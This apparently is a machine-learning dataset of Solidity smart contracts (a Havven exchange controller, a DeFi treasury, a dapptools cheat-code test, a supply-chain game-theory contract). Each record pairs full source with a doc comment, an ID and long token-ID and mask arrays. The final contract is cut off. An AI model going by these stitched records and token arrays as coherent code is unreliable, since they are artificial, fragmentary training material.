public
payable
pricesNotStale
notPaused
returns (uint) // Returns the number of Havvens (HAV) received
{
// How many Havvens are they going to be receiving?
uint havvensToSend = havvensReceivedForEther(msg.value);
// Store the ETH in our funds wallet
fundsWallet.transfer(msg.value);
// And send them the Havvens.
havven.transfer(msg.sender, havvensToSend);
emit Exchange("ETH", msg.value, "HAV", havvensToSend);
return havvensToSend;
}
/**
* @notice Exchange ETH to HAV while insisting on a particular set of rates. This allows a user to
* exchange while protecting against frontrunning by the contract owner on the exchange rates.
* @param guaranteedEtherRate The ether exchange rate which must be honored or the call will revert.
* @param guaranteedHavvenRate The havven exchange rate which must be honored or the call will revert.
*/
function exchangeEtherForHavvensAtRate(uint guaranteedEtherRate, uint guaranteedHavvenRate)
public
payable
pricesNotStale
notPaused
returns (uint) // Returns the number of Havvens (HAV) received
{
require(guaranteedEtherRate == usdToEthPrice);
require(guaranteedHavvenRate == usdToHavPrice);
return exchangeEtherForHavvens();
}
/**
* @notice Exchange nUSD for Havvens
* @param nominAmount The amount of nomins the user wishes to exchange.
*/
function exchangeNominsForHavvens(uint nominAmount)
public
pricesNotStale
notPaused
returns (uint) // Returns the number of Havvens (HAV) received
{
// How many Havvens are they going to be receiving?
uint havvensToSend = havvensReceivedForNomins(nominAmount);
// Ok, transfer the Nomins to our address.
nomin.transferFrom(msg.sender, this, nominAmount);
// And send them the Havvens.
havven.transfer(msg.sender, havvensToSend);
emit Exchange("nUSD", nominAmount, "HAV", havvensToSend);
return havvensToSend;
}
/**
* @notice Exchange nUSD for Havvens while insisting on a particular rate. This allows a user to
* exchange while protecting against frontrunning by the contract owner on the exchange rate.
* @param nominAmount The amount of nomins the user wishes to exchange.
* @param guaranteedRate A rate (havven price) the caller wishes to insist upon.
*/
function exchangeNominsForHavvensAtRate(uint nominAmount, uint guaranteedRate)
public
pricesNotStale
notPaused
returns (uint) // Returns the number of Havvens (HAV) received
{
require(guaranteedRate == usdToHavPrice);
return exchangeNominsForHavvens(nominAmount);
}
/**
* @notice Allows the owner to withdraw havvens from this contract if needed.
* @param amount The amount of havvens to attempt to withdraw (in 18 decimal places).
*/
function withdrawHavvens(uint amount)
external
onlyOwner
{
havven.transfer(owner, amount);
// We don't emit our own events here because we assume that anyone
// who wants to watch what the Issuance Controller is doing can
// just watch ERC20 events from the Nomin and/or Havven contracts
// filtered to our address.
}
/**
* @notice Withdraw nomins: Allows the owner to withdraw nomins from this contract if needed.
* @param amount The amount of nomins to attempt to withdraw (in 18 decimal places).
*/
function withdrawNomins(uint amount)
external
onlyOwner
{
nomin.transfer(owner, amount);
// We don't emit our own events here because we assume that anyone
// who wants to watch what the Issuance Controller is doing can
// just watch ERC20 events from the Nomin and/or Havven contracts
// filtered to our address.
}
/* ========== VIEWS ========== */
/**
* @notice Check if the prices haven't been updated for longer than the stale period.
*/
function pricesAreStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
/**
* @notice Calculate how many havvens you will receive if you transfer
* an amount of nomins.
* @param amount The amount of nomins (in 18 decimal places) you want to ask about
*/
function havvensReceivedForNomins(uint amount)
public
view
returns (uint)
{
// How many nomins would we receive after the transfer fee?
uint nominsReceived = nomin.amountReceived(amount);
// And what would that be worth in havvens based on the current price?
return safeDiv_dec(nominsReceived, usdToHavPrice);
}
/**
* @notice Calculate how many havvens you will receive if you transfer
* an amount of ether.
* @param amount The amount of ether (in wei) you want to ask about
*/
function havvensReceivedForEther(uint amount)
public
view
returns (uint)
{
// How much is the ETH they sent us worth in nUSD (ignoring the transfer fee)?
uint valueSentInNomins = safeMul_dec(amount, usdToEthPrice);
// Now, how many HAV will that USD amount buy?
return havvensReceivedForNomins(valueSentInNomins);
}
/**
* @notice Calculate how many nomins you will receive if you transfer
* an amount of ether.
* @param amount The amount of ether (in wei) you want to ask about
*/
function nominsReceivedForEther(uint amount)
public
view
returns (uint)
{
// How many nomins would that amount of ether be worth?
uint nominsTransferred = safeMul_dec(amount, usdToEthPrice);
// And how many of those would you receive after a transfer (deducting the transfer fee)
return nomin.amountReceived(nominsTransferred);
}
/* ========== MODIFIERS ========== */
modifier onlyOracle
{
require(msg.sender == oracle, "Must be oracle to perform this action");
_;
}
modifier pricesNotStale
{
require(!pricesAreStale(), "Prices must not be stale to perform this action");
_;
}
/* ========== EVENTS ========== */
event FundsWalletUpdated(address newFundsWallet);
event OracleUpdated(address newOracle);
event NominUpdated(Nomin newNominContract);
event HavvenUpdated(Havven newHavvenContract);
event PriceStalePeriodUpdated(uint priceStalePeriod);
event PricesUpdated(uint newEthPrice, uint newHavvenPrice, uint timeSent);
event Exchange(string fromCurrency, uint fromAmount, string toCurrency, uint toAmount);
} | * @notice Set the balance in a given account @dev Only the associated contract may call this. @param account The account whose value to set. @param value The new balance of the given account./ | function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
| 2,140,018 | [
1,
694,
326,
11013,
316,
279,
864,
2236,
225,
5098,
326,
3627,
6835,
2026,
745,
333,
18,
225,
2236,
1021,
2236,
8272,
460,
358,
444,
18,
225,
460,
1021,
394,
11013,
434,
326,
864,
2236,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
13937,
951,
12,
2867,
2236,
16,
2254,
460,
13,
203,
3639,
3903,
203,
3639,
1338,
19233,
8924,
203,
565,
288,
203,
3639,
11013,
951,
63,
4631,
65,
273,
460,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.7.3;
pragma experimental ABIEncoderV2;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import '@openzeppelin/contracts/math/SafeMath.sol';
import './interfaces/IUniswap.sol';
// Treasury for the trading service
contract Treasury {
/* Libraries */
using SafeERC20 for IERC20;
using SafeMath for uint256;
address internal constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
/* Variables */
// DAI
address public currency;
// user => balance (margin)
mapping(address => uint256) public balances;
// amount
uint256 public totalUserBalance;
// amount
uint256 public dailyWithdrawalLimit;
// amount
uint256 public withdrawalsSinceCheckpoint;
// block number
uint256 public withdrawalCheckpoint;
// amount
uint256 public dailyOracleFundingLimit;
// amount
uint256 public oracleFundingSinceCheckpoint;
// block number
uint256 public oracleFundingCheckpoint;
// amount
uint256 public systemFundsLimit;
IUniswap public uniswapRouter;
address public owner;
bool private initialized;
address private trading;
address private oracle;
event OracleFunded(uint256 amountSpent, uint256 amountFunded);
event SwappedOnUniswap(address currency1, address currency2, uint256 amountSpent, uint256 amountReceived);
event NewContracts(address _oracle, address _trading);
event NewWithdrawalLimit(uint256 amount);
event NewOracleFundingLimit(uint256 amount);
event NewSystemFundsLimit(uint256 amount);
function initialize(address _currency) public {
require(!initialized, '!initialized');
initialized = true;
owner = msg.sender;
uniswapRouter = IUniswap(uniswap);
currency = _currency;
}
function registerContracts(address _oracle, address _trading) external onlyOwner {
oracle = _oracle;
trading = _trading;
emit NewContracts(_oracle, _trading);
}
function setWithdrawalLimit(uint256 amount) external onlyOwner {
dailyWithdrawalLimit = amount;
emit NewWithdrawalLimit(amount);
}
function setOracleFundingLimit(uint256 amount) external onlyOwner {
dailyOracleFundingLimit = amount;
emit NewOracleFundingLimit(amount);
}
function setSystemFundsLimit(uint256 amount) external onlyOwner {
systemFundsLimit = amount;
emit NewSystemFundsLimit(amount);
}
function fundOracle(
uint256 amount
) external onlyOracle {
// Check oracle limits. 5760 = blocks in a day for 15s/block
if (oracleFundingCheckpoint.add(5760) < block.number) {
oracleFundingCheckpoint = block.number;
oracleFundingSinceCheckpoint = 0;
}
uint256 newOFSC = oracleFundingSinceCheckpoint.add(amount);
require(newOFSC <= dailyOracleFundingLimit, '!daily_limit');
oracleFundingSinceCheckpoint = newOFSC;
require(IERC20(currency).approve(address(uniswapRouter), amount), '!approve');
address[] memory path = new address[](2);
path[0] = currency;
path[1] = uniswapRouter.WETH();
uint[] memory amounts = uniswapRouter.swapExactTokensForETH(amount, 0, path, oracle, block.timestamp.add(1800));
emit OracleFunded(amount, amounts[1]);
}
function swapOnUniswap(
address[] calldata path,
uint256 amount
) external onlyOwner {
require(path.length > 1, '!invalid_path');
require(IERC20(path[0]).approve(address(uniswapRouter), amount), '!approve');
uint[] memory amounts = uniswapRouter.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp.add(1800));
emit SwappedOnUniswap(path[0], path[path.length - 1], amount, amounts[1]);
}
// all = true can be used to move funds to e.g. another treasury contract, including user balances
function withdraw(
uint256 amount,
address to,
bool all
) external onlyOwner {
if (!all) {
uint256 balance = IERC20(currency).balanceOf(address(this));
require(balance > totalUserBalance, '!balance1');
require(amount <= balance.sub(totalUserBalance), '!balance2');
}
IERC20(currency).safeTransfer(to, amount);
}
function userDeposit(
address user,
uint256 amount
) external onlyTrading {
IERC20(currency).safeTransferFrom(user, address(this), amount);
balances[user] = balances[user].add(amount);
totalUserBalance = totalUserBalance.add(amount);
}
function userWithdraw(
address user,
uint256 amount
) external onlyTrading {
uint256 userBalance = balances[user];
if (amount <= userBalance) {
// user can withdraw their treasury balance or less, regardless of daily limit
balances[user] = balances[user].sub(amount);
totalUserBalance = totalUserBalance.sub(amount);
IERC20(currency).safeTransfer(user, amount);
} else {
uint256 totalAvailableToWithdraw = IERC20(currency).balanceOf(address(this)).sub(totalUserBalance).sub(systemFundsLimit);
// user can withdraw more than their treasury balance (e.g. in profit)
uint256 surplusWithdrawal = amount.sub(userBalance);
require(surplusWithdrawal <= totalAvailableToWithdraw, '!system_threshold');
// check surplus against daily withdrawal (surplus) limit. 5760 = blocks in a day for 15s/block
if (withdrawalCheckpoint.add(5760) < block.number) {
withdrawalCheckpoint = block.number;
withdrawalsSinceCheckpoint = 0;
}
uint256 newWSC = withdrawalsSinceCheckpoint.add(surplusWithdrawal);
require(newWSC <= dailyWithdrawalLimit, '!daily_limit');
balances[user] = balances[user].sub(userBalance);
totalUserBalance = totalUserBalance.sub(userBalance);
IERC20(currency).safeTransfer(user, amount);
withdrawalsSinceCheckpoint = newWSC;
}
}
function collectFromUser(
address user,
uint256 amount
) external onlyTrading {
uint256 userBalance = balances[user];
if (userBalance > 0) {
if (amount >= userBalance) {
balances[user] = 0;
totalUserBalance = totalUserBalance.sub(userBalance, '!totalUserBalance');
} else {
balances[user] = userBalance.sub(amount);
totalUserBalance = totalUserBalance.sub(amount, '!totalUserBalance');
}
}
}
function getUserBalance(
address user
) public view returns (uint256) {
return balances[user];
}
function getTotalUserBalance() public view returns (uint256) {
return totalUserBalance;
}
/* Modifiers */
modifier onlyOwner() {
require(msg.sender == owner, '!authorized');
_;
}
modifier onlyTrading() {
require(msg.sender == trading, '!authorized');
_;
}
modifier onlyOracle() {
require(msg.sender == oracle, '!authorized');
_;
}
} | all = true can be used to move funds to e.g. another treasury contract, including user balances | function withdraw(
uint256 amount,
address to,
bool all
) external onlyOwner {
if (!all) {
uint256 balance = IERC20(currency).balanceOf(address(this));
require(balance > totalUserBalance, '!balance1');
require(amount <= balance.sub(totalUserBalance), '!balance2');
}
IERC20(currency).safeTransfer(to, amount);
}
| 7,320,403 | [
1,
454,
273,
638,
848,
506,
1399,
358,
3635,
284,
19156,
358,
425,
18,
75,
18,
4042,
9787,
345,
22498,
6835,
16,
6508,
729,
324,
26488,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
598,
9446,
12,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
1758,
358,
16,
203,
3639,
1426,
777,
203,
565,
262,
3903,
1338,
5541,
288,
203,
3639,
309,
16051,
454,
13,
288,
203,
5411,
2254,
5034,
11013,
273,
467,
654,
39,
3462,
12,
7095,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
5411,
2583,
12,
12296,
405,
2078,
1299,
13937,
16,
11817,
12296,
21,
8284,
203,
5411,
2583,
12,
8949,
1648,
11013,
18,
1717,
12,
4963,
1299,
13937,
3631,
11817,
12296,
22,
8284,
203,
3639,
289,
203,
3639,
467,
654,
39,
3462,
12,
7095,
2934,
4626,
5912,
12,
869,
16,
3844,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// Taken from:
// https://github.com/dapphub/dapptools/blob/e41b6cd9119bbd494aba1236838b859f2136696b/src/dapp-tests/pass/cheatCodes.sol
pragma solidity ^0.6.7;
pragma experimental ABIEncoderV2;
import "./DsTest.sol";
interface Hevm {
function warp(uint256) external;
function roll(uint256) external;
function load(address,bytes32) external returns (bytes32);
function store(address,bytes32,bytes32) external;
function sign(uint256,bytes32) external returns (uint8,bytes32,bytes32);
function addr(uint256) external returns (address);
function ffi(string[] calldata) external returns (bytes memory);
}
contract HasStorage {
uint public slot0 = 10;
}
// We add `assertEq` tests as well to ensure that our test runner checks the
// `failed` variable.
contract CheatCodes is DSTest {
address public store = address(new HasStorage());
Hevm constant hevm = Hevm(HEVM_ADDRESS);
// Warp
function testWarp(uint128 jump) public {
uint pre = block.timestamp;
hevm.warp(block.timestamp + jump);
require(block.timestamp == pre + jump, "warp failed");
}
function testWarpAssertEq(uint128 jump) public {
uint pre = block.timestamp;
hevm.warp(block.timestamp + jump);
assertEq(block.timestamp, pre + jump);
}
function testFailWarp(uint128 jump) public {
uint pre = block.timestamp;
hevm.warp(block.timestamp + jump);
require(block.timestamp == pre + jump + 1, "warp failed");
}
function testFailWarpAssert(uint128 jump) public {
uint pre = block.timestamp;
hevm.warp(block.timestamp + jump);
assertEq(block.timestamp, pre + jump + 1);
}
// Roll
// Underscore does not run the fuzz test?!
function testRoll(uint256 jump) public {
uint pre = block.number;
hevm.roll(block.number + jump);
require(block.number == pre + jump, "roll failed");
}
function testFailRoll(uint32 jump) public {
uint pre = block.number;
hevm.roll(block.number + jump);
assertEq(block.number, pre + jump + 1);
}
// function prove_warp_symbolic(uint128 jump) public {
// test_warp_concrete(jump);
// }
function test_store_load_concrete(uint x) public {
uint ten = uint(hevm.load(store, bytes32(0)));
assertEq(ten, 10);
hevm.store(store, bytes32(0), bytes32(x));
uint val = uint(hevm.load(store, bytes32(0)));
assertEq(val, x);
}
// function prove_store_load_symbolic(uint x) public {
// test_store_load_concrete(x);
// }
// function test_sign_addr_digest(uint sk, bytes32 digest) public {
// if (sk == 0) return; // invalid key
// (uint8 v, bytes32 r, bytes32 s) = hevm.sign(sk, digest);
// address expected = hevm.addr(sk);
// address actual = ecrecover(digest, v, r, s);
// assertEq(actual, expected);
// }
// function test_sign_addr_message(uint sk, bytes memory message) public {
// test_sign_addr_digest(sk, keccak256(message));
// }
// function testFail_sign_addr(uint sk, bytes32 digest) public {
// uint badKey = sk + 1;
// (uint8 v, bytes32 r, bytes32 s) = hevm.sign(badKey, digest);
// address expected = hevm.addr(sk);
// address actual = ecrecover(digest, v, r, s);
// assertEq(actual, expected);
// }
// function testFail_addr_zero_sk() public {
// hevm.addr(0);
// }
function testFFI() public {
string[] memory inputs = new string[](3);
inputs[0] = "echo";
inputs[1] = "-n";
inputs[2] = "0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000046163616200000000000000000000000000000000000000000000000000000000";
bytes memory res = hevm.ffi(inputs);
(string memory output) = abi.decode(res, (string));
assertEq(output, "acab");
}
}
| Underscore does not run the fuzz test?! | function testRoll(uint256 jump) public {
uint pre = block.number;
hevm.roll(block.number + jump);
require(block.number == pre + jump, "roll failed");
}
| 2,529,679 | [
1,
31489,
1552,
486,
1086,
326,
31839,
1842,
35,
5,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1842,
24194,
12,
11890,
5034,
11833,
13,
1071,
288,
203,
3639,
2254,
675,
273,
1203,
18,
2696,
31,
203,
3639,
3904,
3489,
18,
2693,
12,
2629,
18,
2696,
397,
11833,
1769,
203,
3639,
2583,
12,
2629,
18,
2696,
422,
675,
397,
11833,
16,
315,
2693,
2535,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.4.0 <0.6.0;
import "./EscrowComplianceCecker.sol";
import "./Industry.sol";
contract GameTheory {
uint i=0;
// PEOPLES
struct Entities {
address participantaddress;
bytes32 participantnames;
bytes32 participantrole;
uint participantcount;
uint price;
uint theentitiescount;
address payable thepayingentityaddress;
bytes32 RFIDS;
mapping (address => Entities[1000]) thegreatentitylist;
mapping (bytes32 => Entities[1000]) thegreatentityset;
}
Entities[] public theentitystore;
Entities entityobject;
//BIDS
struct Bids {
bytes32 bidname;
address bidderaddress;
bytes32 biddername;
bytes32 bidrole;
uint bidcount;
mapping (address => Bids[1000]) bidstores;
mapping (bytes32 => Bids[1000]) thebidclaims;
}
Bids[] public bidscollection;
Bids BidObject;
struct Strategies {
address strategiesaddress;
bytes32 strategiesname;
bytes32 stragiesdescription;
bytes32 strategiesplayername;
address strategiesplayeraddress;
uint strategiescount;
mapping (bytes32 => Strategies[1000]) strategieslist;
mapping (address => Strategies[1000]) strategiesarray;
}
Strategies[] public strategiesconstruct;
Strategies StrategiesObject;
struct Contract {
address contractaddress;
bytes32 contracttypename;
bytes32 contractdescription;
uint contracttypecount;
bytes32 contractplayername;
address contractplayeraddress;
mapping (address => Contract[1000]) contractlist;
mapping (bytes32 => Contract[1000]) contractset;
}
Contract[] public contractlister;
Contract ContractObject;
//OPTIMAL RETAILER ORDER QUANTITY
struct OptimalRetailOrder {
address retailorordereraddress;
bytes32 retailerordername;
bytes32 retailerorderrole;
uint optimalretailordervalue;
uint optimalretailorordercount;
mapping (address => OptimalRetailOrder[1000]) optimalretailordercollection;
mapping (bytes32 => OptimalRetailOrder[1000]) optimalretailorderstorage;
}
OptimalRetailOrder[] public orderretailcollection;
OptimalRetailOrder orderretailorObject;
// OPTIMAL SUPPLIER ORDER QUANTITY
struct OptimalSupplyOrder {
address supplyerordereraddress;
bytes32 supplyordername;
bytes32 supplyerorderrole;
uint optimalsupplyordervalue;
uint optimalsupplyordercount;
mapping (address => OptimalSupplyOrder[1000]) optimalsupplyordercollection;
mapping (bytes32 => OptimalSupplyOrder[1000]) optimalsupplyorderstorage;
}
OptimalSupplyOrder[] public forsupplyordercollection;
OptimalSupplyOrder forsupplyorderObject;
// OPTIMAL TOTAL SUPPLY CHAIN ORDER QUANTITY
struct OptimalTotalSupplyChainOrder {
address totalsupplyeraddress;
bytes32 totalsupplyname;
uint optimaltotalsupplyvalue;
uint optimaltotalsupplycount;
mapping (address => OptimalTotalSupplyChainOrder[1000]) optimaltotalsupplyordercollection;
mapping (bytes32 => OptimalTotalSupplyChainOrder[1000]) optimaltotalsupplyorderstorage;
}
OptimalTotalSupplyChainOrder[] public ourtotalsupplyordercollection;
OptimalTotalSupplyChainOrder fortotalordersupplyObject;
//OPTIMAL RETAILER PAYOFF
struct OptimalRetailPayoffs {
address retailpayoffaddress;
bytes32 retailpayoffname;
bytes32 retailpayoffrole;
uint optimalretailpayoffvalue;
uint optimalretailpayoffcount;
mapping (address => OptimalRetailPayoffs[1000]) optimalretailpayoffcollection;
mapping (bytes32 => OptimalRetailPayoffs[1000]) optimalretailpayoffstorage;
}
OptimalRetailPayoffs[] public payforretailcollection;
OptimalRetailPayoffs payforretailObject;
// SUPPLIER OPTIMAL PAYOFF
struct OptimalSupplyPayoffs {
address supplyerpayoffaddress;
bytes32 supplypayoffname;
bytes32 supplyerpayoffrole;
uint optimalsupplypayoffvalue;
uint optimalsupplypayoffcount;
mapping (address => OptimalSupplyPayoffs[1000]) optimalsupplypayoffcollection;
mapping (bytes32 => OptimalSupplyPayoffs[1000]) optimalsupplypayoffstorage;
}
OptimalSupplyPayoffs[] public payforsupplycollection;
OptimalSupplyPayoffs payforsupplyObject;
//OPTIMAL TOTAL SUPPLIER AND RETAILER PAYOFF FOR
struct OptimalTotalSupplyPayoffs {
address totalsupplypayoffaddress;
bytes32 totalsupplypayoffname;
bytes32 totalsupplypayoffstatus;
uint optimaltotalpayoffvalue;
uint optimaltotalpayoffcount;
mapping (address => OptimalTotalSupplyPayoffs[1000]) optimaltotalsupplypayoffcollection;
mapping (bytes32 => OptimalTotalSupplyPayoffs[1000]) optimaltotalsupplypayoffstorage;
}
OptimalTotalSupplyPayoffs[] public payfortotalsupplycollection;
OptimalTotalSupplyPayoffs payfortotalsupplyObject;
